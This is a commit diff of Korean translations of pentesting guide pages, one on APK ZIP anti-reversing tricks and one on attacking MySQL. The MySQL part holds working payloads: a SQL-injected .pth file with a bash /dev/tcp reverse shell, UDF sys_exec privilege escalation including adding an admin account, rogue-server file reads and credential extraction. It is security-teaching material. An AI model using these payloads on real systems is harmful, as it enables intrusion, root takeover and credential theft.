Translated ['', 'src/mobile-pentesting/android-app-pentesting/README.md'

This commit is contained in:
Translator 2025-09-04 01:00:40 +00:00
parent ed943e035b
commit 48d672cf31
18 changed files with 1743 additions and 1760 deletions

View File

@ -2,37 +2,37 @@
{{#include ../../../banners/hacktricks-training.md}}
**명령줄 도구**는 **zip files** 관리를 위해 필수적이며 zip 파일 진단, 복구, 크래킹에 유용합니다. 주요 유틸리티는 다음과 같습니다:
**Command-line tools**은 zip files 관리를 위해 필수적이며 zip files의 진단, 복구, 크래킹에 중요합니다. 다음은 주요 유틸리티입니다:
- **`unzip`**: zip 파일이 왜 압축 해제되지 않는지 원인을 보여줍니다.
- **`zipdetails -v`**: zip 파일 포맷 필드에 대한 상세 분석을 제공합니다.
- **`zipinfo`**: 파일을 추출하지 않고 zip 파일의 내용을 나열합니다.
- **`zip -F input.zip --out output.zip`** 및 **`zip -FF input.zip --out output.zip`**: 손상된 zip 파일 복구를 시도합니다.
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: 약 7자 이하 비밀번호에 대해 효과적인 zip 비밀번호 브루트포스 도구입니다.
- **`unzip`**: zip files가 압축 해제되지 않는 이유를 보여줍니다.
- **`zipdetails -v`**: zip file format 필드에 대한 상세 분석을 제공합니다.
- **`zipinfo`**: 추출하지 않고 zip files의 내용을 나열합니다.
- **`zip -F input.zip --out output.zip`** 및 **`zip -FF input.zip --out output.zip`**: 손상된 zip files 복구를 시도합니다.
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: zip 비밀번호 브루트포스로 크랙하는 도구로, 대략 7자 내외의 비밀번호에 효과적입니다.
The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) provides comprehensive details on the structure and standards of zip files.
The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)은 zip files의 구조와 표준에 대한 종합적인 세부 정보를 제공합니다.
암호로 보호된 zip 파일은 내부의 파일명이나 파일 크기를 암호화하지 않는다는 점을 주의해야 합니다. 이는 RAR나 7z와 달리 해당 정보를 암호화하지 않는 보안 결함입니다. 또한 오래된 ZipCrypto 방식으로 암호화된 zip은 압축되지 않은 파일의 복사본이 존재할 경우 **plaintext attack**에 취약합니다. 이 공격은 알려진 내용을 활용해 zip 비밀번호를 크랙하는 방법이며, [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files)와 [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf)에서 자세히 설명되어 있습니다. 반면 **AES-256**으로 보호된 zip 파일은 이 plaintext attack에 대해 면역이므로 민감한 데이터에는 안전한 암호화 방법을 선택하는 것이 중요합니다.
암호로 보호된 zip files는 내부의 파일 이름이나 파일 크기를 암호화하지 않는다는 점에 유의해야 합니다(이 점은 RAR나 7z 파일과 달리 해당 정보를 암호화하지 않는 보안 결함입니다). 또한, 오래된 ZipCrypto 방식으로 암호화된 zip files는 압축된 파일의 암호화되지 않은 복사본이 존재할 경우 **plaintext attack**에 취약합니다. 이 공격은 알려진 내용을 이용해 zip의 비밀번호를 크랙하는 방식이며, 이 취약점은 [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files)와 [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf)에서 자세히 설명되어 있습니다. 반면, **AES-256**로 보호된 zip files는 이 plaintext attack에 면역이므로 민감한 데이터에는 안전한 암호화 방식을 선택하는 것이 중요합니다.
---
## Anti-reversing tricks in APKs using manipulated ZIP headers
## APKs에서 조작된 ZIP headers를 사용한 안티리버싱 트릭
Modern Android malware droppers use malformed ZIP metadata to break static tools (jadx/apktool/unzip) while keeping the APK installable on-device. The most common tricks are:
현대의 Android malware droppers는 잘못된 ZIP metadata를 사용해 static tools (jadx/apktool/unzip)을 깨뜨리면서도 APK를 기기에서 설치 가능하게 유지합니다. 가장 흔한 트릭은 다음과 같습니다:
- Fake encryption by setting the ZIP General Purpose Bit Flag (GPBF) bit 0
- Abusing large/custom Extra fields to confuse parsers
- File/directory name collisions to hide real artifacts (e.g., a directory named `classes.dex/` next to the real `classes.dex`)
- ZIP General Purpose Bit Flag (GPBF) 비트 0을 설정해 가짜 암호화 표시
- 파서를 혼동시키기 위한 큰/커스텀 Extra 필드 남용
- 실제 아티팩트를 숨기기 위한 파일/디렉터리 이름 충돌(예: 실제 `classes.dex` 옆에 `classes.dex/`라는 디렉터리 생성)
### 1) Fake encryption (GPBF bit 0 set) without real crypto
증상:
- `jadx-gui`가 다음과 같은 오류를 내며 실패함:
- `jadx-gui`가 다음과 같은 오류 실패함:
```
java.util.zip.ZipException: invalid CEN header (encrypted entry)
```
- `unzip`이 핵심 APK 파일들에 대해 비밀번호를 지만, 유효한 APK는 `classes*.dex`, `resources.arsc`, 또는 `AndroidManifest.xml`이 암호화될 수 없으므로 비정상적임:
- `unzip`이 핵심 APK 파일들에 대해 비밀번호를 요청하지만, 유효한 APK는 `classes*.dex`, `resources.arsc`, 또는 `AndroidManifest.xml`을 암호화할 수 없습니다:
```bash
unzip sample.apk
@ -47,7 +47,7 @@ zipdetails로 탐지:
```bash
zipdetails -v sample.apk | less
```
로컬 및 중앙 헤더의 General Purpose Bit Flag를 확인하세요. 핵심 항목(core entries)에서도 비트 0이 설정되어 있는 값(Encryption)이 눈에 띕니다:
local 및 central 헤더의 General Purpose Bit Flag를 확인하세요. 핵심 항목(core entries)에서도 특징적인 값은 비트 0(Encryption)이 설정된 것입니다:
```
Extract Zip Spec 2D '4.5'
General Purpose Flag 0A09
@ -56,9 +56,9 @@ General Purpose Flag 0A09
[Bit 3] 1 'Streamed'
[Bit 11] 1 'Language Encoding'
```
휴리스틱: APK가 기기에 설치되어 실행되지만 핵심 엔트리가 도구에서 "암호화된" 것으로 보인다면 GPBF가 변조된 것입니다.
휴리스틱: APK가 기기에 설치되어 실행되지만 핵심 항목들이 도구에 의해 "encrypted"로 보인다면 GPBF가 변조된 것입니다.
해결: Local File Headers (LFH)와 Central Directory (CD) 엔트리 둘 다에서 GPBF 비트 0을 클리어하세요. 최소 바이트 패처:
해결: Local File Headers (LFH)와 Central Directory (CD) 항목 양쪽에서 GPBF의 bit 0을 클리어하세요. Minimal byte-patcher:
```python
# gpbf_clear.py clear encryption bit (bit 0) in ZIP local+central headers
import struct, sys
@ -94,23 +94,23 @@ print(f'Patched: LFH={p_lfh}, CDH={p_cdh}')
python3 gpbf_clear.py obfuscated.apk normalized.apk
zipdetails -v normalized.apk | grep -A2 "General Purpose Flag"
```
You should now see `General Purpose Flag 0000` on core entries and tools will parse the APK again.
이제 핵심 엔트리에서 `General Purpose Flag 0000`이 표시되고 도구들이 APK를 다시 파싱할 것입니다.
### 2) 파서를 깨뜨리기 위한 Large/custom Extra fields
### 2) 파서를 무력화하기 위한 대형/커스텀 Extra 필드
공격자들은 헤더에 과도하게 큰 Extra fields와 특이한 ID를 집어넣어 decompilers를 혼란스럽게 만듭니다. 실제 사례에서는 `JADXBLOCK` 같은 문자열 형식의 커스텀 마커가 그곳에 포함된 것을 볼 수 있습니다.
공격자들은 디컴파일러를 혼란시키기 위해 헤더에 과도한 크기의 Extra 필드와 이상한 ID들을 넣습니다. 실전에서는 (예: `JADXBLOCK`과 같은 문자열) 그런 커스텀 마커가 포함된 것을 볼 수 있습니다.
검사:
```bash
zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50
```
관찰된 예: `0xCAFE` ("Java Executable") 또는 `0x414A` ("JA:") 같은 알려지지 않은 ID가 큰 페이로드를 포함하고 있음.
관찰된 예: `0xCAFE`("Java 실행 파일") 또는 `0x414A`("JA:") 같은 알 수 없는 ID가 대용량 페이로드를 포함하는 경우.
DFIR 휴리스틱:
- 핵심 항목의 Extra 필드(`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`)가 비정상적으로 클 경우 경고.
- 해당 항목들에서 알려지지 않은 Extra ID를 의심스럽게 간주.
- core 항목(`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`)에서 Extra 필드가 비정상적으로 클 때 경고.
- 해당 항목들에서 알 수 없는 Extra ID는 의심스러운 것으로 간주.
제 완화: 아카이브를 재구성(예: 추출한 파일을 다시 zip으로 묶음)하면 악성 Extra 필드를 제거할 수 있습니다. 도구가 가짜 암호화로 인해 추출을 거부하면, 먼저 위와 같이 GPBF bit 0을 클리어한 다음 다시 패키징하세요:
무적 완화: 아카이브를 재구성(예: 추출된 파일을 다시 zip으로 압축)하면 악성 Extra 필드가 제거됩니다. 도구가 가짜 암호화 때문에 추출을 거부하면, 위에서 설명한 대로 먼저 GPBF bit 0을 지운 다음 재패키지하세요:
```bash
mkdir /tmp/apk
unzip -qq normalized.apk -d /tmp/apk
@ -118,9 +118,9 @@ unzip -qq normalized.apk -d /tmp/apk
```
### 3) 파일/디렉터리 이름 충돌 (실제 아티팩트 숨김)
A ZIP은 파일 `X`와 디렉터리 `X/`를 동시에 포함할 수 있습니다. 일부 추출기나 디컴파일러는 혼동되어 디렉터리 항목으로 실제 파일을 덮어쓰거나 숨길 수 있습니다. 이는 `classes.dex`와 같은 핵심 APK 이름과 항목이 충돌할 때 관찰되었습니다.
ZIP 파일은 파일 `X`와 디렉터리 `X/`를 동시에 포함할 수 있다. 일부 extractors와 decompilers는 혼동되어 디렉터리 항목으로 실제 파일을 덮어쓰거나 숨길 수 있다. 이는 `classes.dex`와 같은 핵심 APK 이름과 충돌하는 항목에서 관찰되었다.
Triage 및 안전한 추출:
분석 및 안전한 추출:
```bash
# List potential collisions (names that differ only by trailing slash)
zipinfo -1 sample.apk | awk '{n=$0; sub(/\/$/,"",n); print n}' | sort | uniq -d
@ -131,7 +131,7 @@ unzip normalized.apk -d outdir
# replace outdir/classes.dex? [y]es/[n]o/[A]ll/[N]one/[r]ename: r
# new name: unk_classes.dex
```
프로그래밍 방식 탐지 접미사:
프로그램적 탐지 접미사:
```python
from zipfile import ZipFile
from collections import defaultdict
@ -149,13 +149,13 @@ if len(variants) > 1:
print('COLLISION', base, '->', variants)
```
Blue-team 탐지 아이디어:
- 로컬 헤더가 암호화로 표시(GPBF bit 0 = 1)되었으나 설치/실행되는 APK 탐지.
- 핵심 엔트리의 크거나 알 수 없는 Extra 필드 탐지(예: `JADXBLOCK` 같은 마커 확인).
- 특히 `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`에 대해 경로 충돌(`X``X/`) 탐지.
- APK의 local headers가 암호화로 표시되나 (GPBF bit 0 = 1) 설치/실행되는 경우 탐지.
- 핵심 엔트리의 크거나 알려지지 않은 Extra 필드(예: `JADXBLOCK` 같은 마커)를 탐지.
- 특히 `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`에 대해 경로 충돌(`X``X/`) 탐지.
---
## 참고
## 참고자료
- [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
- [GodFather Part 1 A multistage dropper (APK ZIP anti-reversing)](https://shindan.io/blog/godfather-part-1-a-multistage-dropper)

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -4,7 +4,7 @@
## **기본 정보**
**MySQL**는 무료로 제공되는 오픈 소스 **관계형 데이터베이스 관리 시스템 (RDBMS)**입니다. 이는 **구조화 질의 언어 (SQL)**을 기반으로 작동하며 데이터베이스를 관리하고 조작할 수 있게 해줍니다.
**MySQL**은 무료로 제공되는 오픈 소스 **Relational Database Management System (RDBMS)**로 설명될 수 있습니다. 이는 **Structured Query Language (SQL)**을 기반으로 작동하며 데이터베이스의 관리 및 조작을 가능하게 합니다.
**기본 포트:** 3306
```
@ -22,9 +22,9 @@ mysql -u root -p # A password will be asked (check someone)
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```
## 외부 열거
## 외부 Enumeration
일부 열거 작업에는 유효한 자격 증명이 필요합니다.
일부 enumeration 작업은 valid credentials가 필요합니다
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
@ -112,83 +112,77 @@ You can see in the docs the meaning of each privilege: [https://dev.mysql.com/do
#### INTO OUTFILE → Python `.pth` RCE (사이트별 구성 훅)
고전적인 `INTO OUTFILE` primitive를 악용하면 이후에 **Python** 스크립트를 실행하는 대상에서 임의 코드 실행을 얻을 수 있습니다.
고전적인 `INTO OUTFILE` 원시 기능을 악용하면 이후에 **Python** 스크립트를 실행하는 대상에서 *임의 코드 실행*을 얻을 수 있습니다.
1. `INTO OUTFILE`를 사용하여 `site.py`에 의해 자동으로 로드되는 디렉터리(예: `.../lib/python3.10/site-packages/`) 안에 커스텀 **`.pth`** 파일을 생성합니다.
2. `.pth` 파일은 `import `로 시작하는 *한 줄*을 포함할 수 있으며, 그 뒤에 임의의 Python 코드가 따라와 인터프리터가 시작될 때마다 실행됩니다.
3. 인터프리터가 CGI 스크립트에 의해 암묵적으로 실행될 때(예: shebang `#!/bin/python`이 있는 `/cgi-bin/ml-draw.py`) 페이로드는 웹 서버 프로세스와 동일한 권한으로 실행됩니다 (FortiWeb는 이를 **root**로 실행함 → full pre-auth RCE).
1. `INTO OUTFILE`을 사용해 `site.py`에 의해 자동으로 로드되는 디렉터리(예: `.../lib/python3.10/site-packages/`) 안에 커스텀 **`.pth`** 파일을 생성합니다.
2. `.pth` 파일은 `import `로 시작하는 *한 줄*을 포함할 수 있으며, 그 뒤에 오는 임의의 Python 코드가 인터프리터가 시작될 때마다 실행됩니다.
3. 인터프리터가 CGI 스크립트(예: shebang이 `#!/bin/python``/cgi-bin/ml-draw.py`)에 의해 암묵적으로 실행될 때, 페이로드는 웹 서버 프로세스와 동일한 권한으로 실행됩니다(FortiWeb는 이를 **root**로 실행함 → 사전 인증 전체 RCE).
예시 `.pth` 페이로드 (한 줄, 최종 SQL 페이로드에는 공백을 포함할 수 없으므로 hex/`UNHEX()` 또는 문자열 연결이 필요할 수 있음):
예시 `.pth` 페이로드(한 줄, 최종 SQL 페이로드에는 공백을 포함할 수 없으므로 hex/`UNHEX()` 또는 문자열 연결이 필요할 수 있음):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
파일을 **UNION** 쿼리를 통해 생성하는 예시 (공백 문자를 `/**/`로 대체하여 `sscanf("%128s")`의 공백 필터를 우회하고 전체 길이를 ≤128 바이트로 유지):
파일을 **UNION** 쿼리로 생성하는 예 (공백 문자를 `/**/`로 대체하여 `sscanf("%128s")`의 공백 필터를 우회하고 전체 길이를 ≤128 바이트로 유지):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
Important limitations & bypasses:
중요한 제한사항 및 우회 방법:
* `INTO OUTFILE` **cannot overwrite** existing files; choose a new filename.
* The file path is resolved **relative to MySQLs CWD**, so prefixing with `../../` helps to shorten the path and bypass absolute-path restrictions.
* If the attacker input is extracted with `%128s` (or similar) any space will truncate the payload; use MySQL comment sequences `/**/` or `/*!*/` to replace spaces.
* The MySQL user running the query needs the `FILE` privilege, but in many appliances (e.g. FortiWeb) the service runs as **root**, giving write access almost everywhere.
* `INTO OUTFILE` **덮어쓸 수 없습니다**; 새 파일명을 선택하세요.
* 파일 경로는 **MySQLs CWD** 기준으로 해석되므로, `../../`를 접두사로 사용하면 경로를 단축하고 절대 경로 제한을 우회하는 데 도움이 됩니다.
* 공격자 입력이 `%128s`(또는 유사한 형식)로 추출되는 경우, 공백이 있으면 페이로드가 잘립니다; 공백 대신 MySQL 주석 시퀀스 `/**/` 또는 `/*!*/`를 사용하세요.
* 쿼리를 실행하는 MySQL 사용자는 `FILE` 권한이 필요하지만, 많은 어플라이언스(예: FortiWeb)에서는 서비스가 **root**로 실행되어 거의 모든 곳에 쓰기 권한을 제공합니다.
After dropping the `.pth`, simply request any CGI handled by the python interpreter to get code execution:
`.pth`을 배치한 후, python 인터프리터가 처리하는 임의의 CGI를 요청하면 코드 실행을 얻을 수 있습니다:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
Python 프로세스는 악성 `.pth`를 자동으로 import하 shell payload를 실행합니다.
Python 프로세스는 악성 `.pth`를 자동으로 import하 shell payload를 실행합니다.
```
# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
```
---
## MySQL arbitrary read file by client
실제로, **load data local into a table**를 시도하면 MySQL 또는 MariaDB 서버는 파일의 **content of a file**을 읽어 전송하도록 **client to read it**라고 클라이언트에 요청합니다. **Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.**\
다음과 같은 환경에서 이러한 동작이 발생함을 주의하세요:
실제로 **load data local into a table**를 사용해 테이블로 파일을 로드하려고 하면, MySQL 또는 MariaDB 서버는 해당 **content of a file**을 **client to read it**하여 그 내용을 전송하도록 요청합니다. **그런 다음, mysql client를 조작해 자신의 MySQL server에 연결시키면 arbitrary files를 읽을 수 있습니다.**\
다음의 경우에 이러한 동작이 발생함에 유의하세요:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
("local" 단어에 주목하세요)\
왜냐하면 "local"이 없으면 다음을 얻을 수 있습니다:
("local" 단어에 주목하세요)\ "local"을 빼면 다음을 얻을 수 있습니다:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**초기 PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**이 논문에서는 공격에 대한 완전한 설명과 RCE로 확장하는 방법까지 볼 수 있습니다:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**이 논문에서는 공격에 대한 완전한 설명과 이를 RCE로 확장하는 방법까지 확인할 수 있습니다:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**여기에서 공격 개요를 확인할 수 있습니다:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
## POST
### Mysql 사용자
mysql이 **root**로 실행되고 있다면 매우 흥미롭습니다:
mysql이 **root**로 실행 중이라면 매우 흥미롭습니다:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```
#### mysqld.cnf의 위험한 설정
MySQL 서비스의 구성에서는 동작 및 보안 조치를 정의하기 위해 여러 설정이 사용됩니다:
MySQL 서비스 구성에서는 동작과 보안 조치를 정의하기 위해 여러 설정이 사용됩니다:
- The **`user`** 설정은 MySQL 서비스가 실행될 때 사용할 사용자 지정하는 데 사용됩니다.
- **`password`**는 MySQL 사용자에 연관된 암호를 설정하는 데 사용됩니다.
- **`admin_address`**는 관리 네트워크 인터페이스에서 TCP/IP 연결을 수신하는 IP 주소를 지정합니다.
- The **`debug`** 변수는 현재 디버깅 설정을 나타내며, 로그에 민감한 정보가 포함될 수 있습니다.
- **`sql_warnings`**는 경고가 발생할 때 단일 행 INSERT 문에 대해 정보 문자열을 생성할지 여부를 제어하며, 이로 인해 로그에 민감한 데이터가 포함될 수 있습니다.
- With **`secure_file_priv`**, 데이터 가져오기/내보내기 작업의 범위를 제한하여 보안을 강화합니다.
- **`user`** 설정은 MySQL 서비스가 실행될 때 사용할 사용자 계정을 지정하는 데 사용됩니다.
- **`password`** 설정은 MySQL 사용자에 연결된 비밀번호를 설정하는 데 사용됩니다.
- **`admin_address`**는 관리 네트워크 인터페이스에서 TCP/IP 연결을 수신하는 IP 주소를 지정합니다.
- **`debug`** 변수는 현재의 디버깅 구성(로그에 민감한 정보를 포함할 수 있음)을 나타냅니다.
- **`sql_warnings`**는 경고 발생 시 단일 행 INSERT 문에 대해 정보 문자열이 생성되는지 여부를 제어하며, 이 정보는 로그에 민감한 데이터를 포함할 수 있습니다.
- **`secure_file_priv`**는 데이터 가져오기/내보내기 작업의 범위를 제한하여 보안을 강화합니다.
### Privilege escalation
```bash
@ -210,16 +204,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
```
### Privilege Escalation via library
만약 **mysql server is running as root**(또는 더 권한이 높은 다른 사용자로 실행 중이라면) 해당 서버가 명령을 실행하도록 만들 수 있습니다. 이를 위해 **user defined functions**를 사용해야 합니다. 그리고 user defined 함수를 생성하려면 mysql이 실행되는 OS용 **library**가 필요합니다.
만약 **mysql server is running as root** (또는 더 권한이 높은 다른 사용자)라면 명령을 실행시킬 수 있습니다. 이를 위해서는 **user defined functions**를 사용해야 합니다. 그리고 user defined 함수를 생성하려면 mysql이 실행 중인 OS용 **library**가 필요합니다.
사용할 악성 라이브러리는 sqlmap과 metasploit 에서 **`locate "*lib_mysqludf_sys*"`** 명령으로 찾을 수 있습니다. **`.so`** 파일은 **linux** 라이브러리이고 **`.dll`** 파일은 **Windows** 라이브러리이니 필요한 것을 선택하세요.
사용할 악성 라이브러리는 sqlmap과 metasploit 내부에서 **`locate "*lib_mysqludf_sys*"`** 명령으로 찾을 수 있습니다. **`.so`** 파일은 **linux** 라이브러리이고 **`.dll`** 파일은 **Windows** 라이브러리입니다. 필요한 것을 선택하세요.
만약 해당 라이브러리가 **없다면**, **직접 찾아보거나**, 이 [**linux C code**](https://www.exploit-db.com/exploits/1518)를 다운로드하여 **linux 취약 머신 내에서 컴파일**하세요:
해당 라이브러리가 **없다면**, 직접 찾아보거나 이 [**linux C code**](https://www.exploit-db.com/exploits/1518)를 다운로드하여 **compile it inside the linux vulnerable machine** 하세요:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
라이브러리를 확보했으면, 권한 있는 사용자 (root?)로 Mysql에 로그인한 후 다음 단계를 따르세요:
라이브러리를 확보했으니, 권한이 있는 사용자(root?)로 Mysql에 로그인하고 다음 단계를 따르세요:
#### Linux
```sql
@ -241,7 +235,7 @@ create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
```
#### Windows
#### 윈도우
```sql
# CHech the linux comments for more indications
USE mysql;
@ -255,36 +249,36 @@ SELECT sys_exec("net localgroup Administrators npn /add");
```
#### Windows 팁: SQL에서 NTFS ADS로 디렉터리 생성
NTFS에서는 file write primitive만 있어도 대체 데이터 스트림(ADS)을 사용해 디렉터리 생성을 강제할 수 있습니다. 클래식 UDF chain이 `plugin` 디렉터리를 기대하지만 존재하지 않거나 `@@plugin_dir`가 알려져 있지 않거나 잠겨 있는 경우, 먼저 `::$INDEX_ALLOCATION`로 생성할 수 있습니다:
NTFS에서는 파일 write primitive만 존재하는 경우에도 alternate data stream을 사용해 디렉터리 생성을 강제할 수 있습니다. 만약 classic UDF chain이 `plugin` 디렉터리를 기대하지만 해당 디렉터리가 존재하지 않거나 `@@plugin_dir`가 알려져 있지 않거나 잠겨 있다면, 먼저 `::$INDEX_ALLOCATION`로 생성할 수 있습니다:
```sql
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
```
이것은 UDF drops에 필요한 폴더 구조를 부트스트랩함으로써 제한된 `SELECT ... INTO OUTFILE`를 Windows 스택에서 보다 완전한 프리미티브로 확장합니다.
이것은 UDF drops에 필요한 폴더 구조를 부트스트랩하여 Windows stacks에서 제한된 `SELECT ... INTO OUTFILE`를 보다 완전한 primitive로 만듭니다.
### 파일에서 MySQL 자격 증명 추출
_/etc/mysql/debian.cnf_ 파일 안에서 사용자 **debian-sys-maint**의 **평문 비밀번호**를 찾을 수 있습니다.
파일 _/etc/mysql/debian.cnf_ 안에서 사용자 **debian-sys-maint**의 **평문 비밀번호**를 찾을 수 있습니다.
```bash
cat /etc/mysql/debian.cnf
```
이 자격증명을 **사용해 mysql 데이터베이스에 로그인할 수 있습니다.**
이 자격증명을 사용해 **mysql 데이터베이스에 로그인할 수 있습니다**.
파일 안: _/var/lib/mysql/mysql/user.MYD_에서 **MySQL 사용자들의 모든 hashes** (데이터베이스 내부의 mysql.user에서 추출할 수 있는 것들)_._
파일: _/var/lib/mysql/mysql/user.MYD_ 안에서 **MySQL 사용자의 모든 해시** (데이터베이스 내의 mysql.user에서 추출할 수 있는 것들)_._
다음과 같이 추출할 수 있습니다:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
### 로 활성화
### 로 활성화
다음 줄의 주석을 제거하면 `/etc/mysql/my.cnf`에서 mysql 쿼리 로깅을 활성화할 수 있습니다:
다음 줄의 주석을 해제하여 `/etc/mysql/my.cnf` 내부에서 mysql 쿼리 로깅을 활성화할 수 있습니다:
![](<../images/image (899).png>)
### 유용한 파일
설정 파일
구성 파일
- windows \*
- config.ini
@ -299,9 +293,9 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
- /var/lib/mysql/my.cnf
- \~/.my.cnf
- /etc/my.cnf
- 명령 기록
- Command History
- \~/.mysql.history
- 로그 파일
- Log Files
- connections.log
- update.log
- common.log
@ -611,7 +605,7 @@ x$statements\_with\_errors\_or\_warnings\
x$statements_with_full_table_scans\
x$statements\_with\_runtimes\_in\_95th\_percentile\
x$statements_with_sorting\
x$statements\_with\_temp\_tables\
x$statements_with_temp_tables\
x$user_summary\
x$user\_summary\_by\_file\_io\
x$user_summary_by_file_io_type\
@ -657,36 +651,36 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## 2023-2025 Highlights (new)
## 2023-2025 주요 내용 (신규)
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
Connector/J <= 8.0.32부터, **JDBC URL**에 영향을 줄 수 있는 attacker(예: connection string을 묻는 서드파티 소프트웨어)는 `propertiesTransform` 파라미터를 통해 *클라이언트* 측에서 임의의 클래스를 로드하도록 요청할 수 있습니다. 클래스패스에 존재하는 gadget이 로드 가능하면 이는 **remote code execution in the context of the JDBC client**을 초래합니다 (pre-auth, because no valid credentials are required). A minimal PoC looks like:
Connector/J <= 8.0.32부터, **JDBC URL**에 영향을 줄 수 있는 공격자(예: 연결 문자열을 요구하는 서드파티 소프트웨어)는 `propertiesTransform` 매개변수를 통해 *client* 측에서 임의의 클래스를 로드하도록 요청할 수 있습니다. 만약 class-path에 존재하는 gadget이 로드 가능하면, 이는 **remote code execution in the context of the JDBC client** (pre-auth, 유효한 자격 증명이 필요하지 않음)를 초래합니다. 최소한의 PoC는 다음과 같습니다:
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
Running `Evil.class` can be as easy as producing it on the class-path of the vulnerable application or letting a rogue MySQL server send a malicious serialized object. The issue was fixed in Connector/J 8.0.33 upgrade the driver or explicitly set `propertiesTransform` on an allow-list.
(See Snyk write-up for details)
(자세한 내용은 Snyk write-up 참조)
### Rogue / Fake MySQL 서버를 이용한 JDBC 클라이언트 공격
여러 오픈소스 도구들이 외부로 연결하는 JDBC 클라이언트를 공격하기 위해 MySQL 프로토콜의 *일부*를 구현합니다:
### JDBC 클라이언트를 대상으로 한 Rogue / Fake MySQL 서버 공격
Several open-source tools implement a *partial* MySQL protocol in order to attack JDBC clients that connect outwards:
* **mysql-fake-server** (Java, 파일 읽기 및 deserialization 익스플로잇 지원)
* **mysql-fake-server** (Java, 파일 읽기 및 deserialization 익스플로잇 지원)
* **rogue_mysql_server** (Python, 유사 기능)
전형적인 공격 경로:
Typical attack paths:
1. 피해자 애플리케이션이 `mysql-connector-j``allowLoadLocalInfile=true` 또는 `autoDeserialize=true` 설정으로 로드한다.
2. 공격자가 DNS / 호스트 엔트리를 조작하여 DB 호스트명이 공격자가 제어하는 머신으로 해석되게 한다.
3. 악성 서버는 조작된 패킷으로 응답하여 `LOCAL INFILE`을 통한 임의 파일 읽기 또는 Java deserialization을 유발 → RCE를 발생시킨다.
1. Victim application loads `mysql-connector-j` with `allowLoadLocalInfile=true` or `autoDeserialize=true`.
2. Attacker controls DNS / host entry so that the hostname of the DB resolves to a machine under their control.
3. Malicious server responds with crafted packets that trigger either `LOCAL INFILE` arbitrary file read or Java deserialization → RCE.
Example one-liner to start a fake server (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
